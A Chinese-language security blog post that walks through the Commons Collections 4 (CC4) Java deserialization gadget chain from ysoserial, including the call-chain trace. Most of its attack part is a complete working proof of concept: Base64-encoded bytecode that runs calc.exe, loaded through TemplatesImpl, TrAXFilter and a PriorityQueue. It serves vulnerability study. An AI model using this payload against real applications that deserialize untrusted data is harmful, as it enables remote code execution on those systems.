前言

针对common-collections4,ysoserial也是给出了两条反序列化调用链,一个是我们前文分析的CC2,另一个就是本文分析的CC4。

环境搭建

  • jdk 8u71
  • commons-collections-4.0

CC4分析

其实CC4链就是将CC2链中的InvokerTransformer调用TemplatesImpl.newTransformer()方法换成了InstantiateTransformer来加载字节码,具体原理可以看我之前CC3链分析。

大致就是TrAXFilter的构造方法能调用templates.newTransformer():

image-20250705180557924

而InstantiateTransformer重写的transform方法中能获取类的构造方法方法并创建实例:

image-20250705180819239

所以iArgs和iParamTypes都是我们可控的,可以通过将该方法来执行我们的TemplatesImpl.newTransfomer()方法:

1
2
3
4
5
6
7
8
9
10
正常写法:
Constructor con=TrAXFilter.class.getConstructor(Templates.class);
con.newInstance(Impl);

ChainedTransformer链写法:
ConstantTransformer trAX=new ConstantTransformer(TrAXFilter.class);
InstantiateTransformer con=new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Impl});
Transformer[] transformers=new Transformer[]{trAX,con};
ChainedTransformer chaind=new ChainedTransformer(transformers);
chaind.transform(null);

前面调用ChainedTransformer.transform方法也是一样的,即通过TransformingComparator.compare()调用

完整poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerFactory;
import java.io.*;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class CC4 {
public static void main(String[] args) throws Exception {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAGTGV2aWw7AQAKRXhjZXB0aW9ucwcAJQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHACYBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAClNvdXJjZUZpbGUBAAlldmlsLmphdmEMAAcACAcAJwwAKAApAQAIY2FsYy5leGUMACoAKwEABGV2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAQAACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAACAAoAAAAOAAMAAAAKAAQACwANAAwACwAAAAwAAQAAAA4ADAANAAAADgAAAAQAAQAPAAEAEAARAAIACQAAAD8AAAADAAAAAbEAAAACAAoAAAAGAAEAAAAQAAsAAAAgAAMAAAABAAwADQAAAAAAAQASABMAAQAAAAEAFAAVAAIADgAAAAQAAQAWAAEAEAAXAAIACQAAAEkAAAAEAAAAAbEAAAACAAoAAAAGAAEAAAATAAsAAAAqAAQAAAABAAwADQAAAAAAAQASABMAAQAAAAEAGAAZAAIAAAABABoAGwADAA4AAAAEAAEAFgABABwAAAACAB0=");

TemplatesImpl Impl = new TemplatesImpl();
setValue(Impl,"_name","b1uel0n3");
setValue(Impl,"_class",null);
setValue(Impl,"_bytecodes",new byte[][]{bytes});
setValue(Impl,"_tfactory",new TransformerFactoryImpl());

Transformer[] faketransformers=new Transformer[]{new ConstantTransformer(1)};

Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{Impl})
};

ChainedTransformer chaind=new ChainedTransformer(faketransformers);

TransformingComparator comparator=new TransformingComparator(chaind);
PriorityQueue queue=new PriorityQueue(2, comparator);

queue.add(1);
queue.add(1);

setValue(chaind,"iTransformers",transformers);

serialize(queue);
unserialize();
}
public static void serialize(Object obj) throws Exception{
FileOutputStream out=new FileOutputStream("E:\\study\\web\\java\\test.ser");
ObjectOutputStream oos=new ObjectOutputStream(out);
oos.writeObject(obj);
}
public static Object unserialize() throws Exception{
FileInputStream in=new FileInputStream("E:\\study\\web\\java\\test.ser");
ObjectInputStream ois=new ObjectInputStream(in);
Object o=ois.readObject();
return o;
}
public static void setValue(Object obj, String filedname, Object value) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
field.set(obj,value);
}
public static Object getValue(Object obj, String filedname) throws Exception {
Field field=obj.getClass().getDeclaredField(filedname);
field.setAccessible(true);
return field.get(obj);
}
}

image-20250705183131551

完整利用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ObjectInputStream -> readObject()
PriorityQueue -> readObject()
PriorityQueue -> heapify()
PriorityQueue -> siftDown()
PriorityQueue -> siftDownUsingComparator()
TransformingComparator -> compare()
ChainedTransformer -> transform()
ConstantTransformer -> transform()
InstantiateTransformer -> transform()
TrAXFilter -> TrAXFilter()
TemplatesImpl -> newTransformer()
TemplatesImpl -> getTransletInstance()
TemplatesImpl -> defineTransletClasses()
TemplatesImpl -> defineClass()

参考

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections4.java

https://curlysean.github.io/2025/02/27/CC4%E9%93%BE/#nAbc8